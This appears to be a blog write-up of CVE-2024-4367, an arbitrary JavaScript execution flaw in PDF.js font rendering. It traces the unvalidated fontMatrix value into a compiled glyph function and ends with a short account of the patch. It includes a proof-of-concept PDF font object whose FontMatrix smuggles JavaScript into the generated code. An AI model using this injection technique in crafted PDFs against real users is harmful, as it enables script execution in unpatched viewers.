Post

CVE-2024-4367 (PDF.js - Arbitrary JS Execution)

Arbitrary Code Execution in PDF.js

CVE-2024-4367 (PDF.js - Arbitrary JS Execution)

Vulnerable Product & Version

  • All FireFox Users ( < 126)
  • Services which use pdfjs-dist(<= 4.1.392) module in NPM (NodeJS)

Summary

  1. PDF.js acts as a viewer to show a preview of a pdf file, which is made by Mozila.
  2. It has the ability to render fonts and CVE-2024-4367 vulnerabilitiy targets this part.
  3. The user can set the values of the PDF file’s properties, and pdf.js applies them by executing JavaScript code.
  4. However, there is no validation of the fontMatrix property value, which allows arbitrary JavaScript code to be executed.

Intro - Feature of Glyph rendering

The vulnerability occurs in ap specific part of the font rendering code. Fonts in PDFs can come in serveral different formats. For some font formats, PDF.js can’t rely on the browser’s built-in font rendering, so it has to manually create each glyph’s shape on the page. To make the performance better, PDF.js pre-compiles a a “path generator function”. This process is executed by making a JS function object with a body(jsBuf).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// https://github.com/mozilla/pdfjs-dist/blob/master/build/pdf.js#L4919
// If we can, compile cmds into JS for MAXIMUM SPEED...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
  const jsBuf = [];
  for (const current of cmds) {
    const args = current.args !== undefined ? current.args.join(",") : "";
    jsBuf.push("c.", current.cmd, "(", args, ");\n");
  }
  // eslint-disable-next-line no-new-func
  console.log(jsBuf.join(""));
  return (this.compiledGlyphs[character] = new Function(
    "c",
    "size",
    jsBuf.join("")
  ));
}

It seems possible to control these cmds which is in Function body and insert attackers payload. If it can, we may execute payload when a glyph is rendered.

The logic of generating commands in Glyph rendering

We can find compileGlyph() method in CompiledFont class. This method initializes cmd array with some general commands(save, transform, scale and restore), then defers them to a compileGlyphImpl method.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  compileGlyph(code, glyphId) {
    if (!code || code.length === 0 || code[0] === 14) {
      return NOOP;
    }

    let fontMatrix = this.fontMatrix;
    ...

    const cmds = [
      { cmd: "save" },
      { cmd: "transform", args: fontMatrix.slice() },
      { cmd: "scale", args: ["size", "-size"] },
    ];
    this.compileGlyphImpl(code, cmds, glyphId);

    cmds.push({ cmd: "restore" });

    return cmds;
  }

If you look at the args of the transform command, you can see that fontMatrix.slice() is used, and since the default value of fontMatrix is [0.001, 0, 0, 0.001, 0, 0], the function that is created will look like this.

1
2
3
4
5
6
7
8
Function(c, size)
{
    c.save();
    c.transform(0.001,0,0,0.001,0,0); // <-- fontMatrix related part.
    c.scale(size,-size);
    c.moveTo(0,0);
    c.restore();
}

A user can replace default setting via defining a with new values like below. The point is, there is no validation logic in the part where a user specify the value of the Fontmatrix, so user can insert javascript code. (It looks similar to a command injection)

1
2
3
4
5
6
7
8
9
1 0 obj
<<
  /Type /Font
  /Subtype /Type1
  /FontDescriptor 2 0 R
  /BaseFont /FooBarFont
  /FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]  // <-- Arbitrary Javascript code
>>
endobj

In this case, (0\\); alert\\('foobar') will be translated into 0); alert('foobar', and the Function will be created as follows.

1
2
3
4
5
c.save();
c.transform(1,2,3,4,5,0); alert('foobar');
c.scale(size,-size);
c.moveTo(0,0);
c.restore();

So finally, a user(or attacker) can trigger javascript code.

Mitigation

The patch for this vulnerability replaced commands such as transform and save, which were previously handled as strings, with enum values such as SAVE and TRANSFORM in FontRenderOps, as shown below, and also replaced cmds with the Commands class rather than an array of strings. In addition, the add method used to add commands checks if the argument’s type is numeric to prevent JavaScript code from being injected.

This post is licensed under CC BY 4.0 by the author.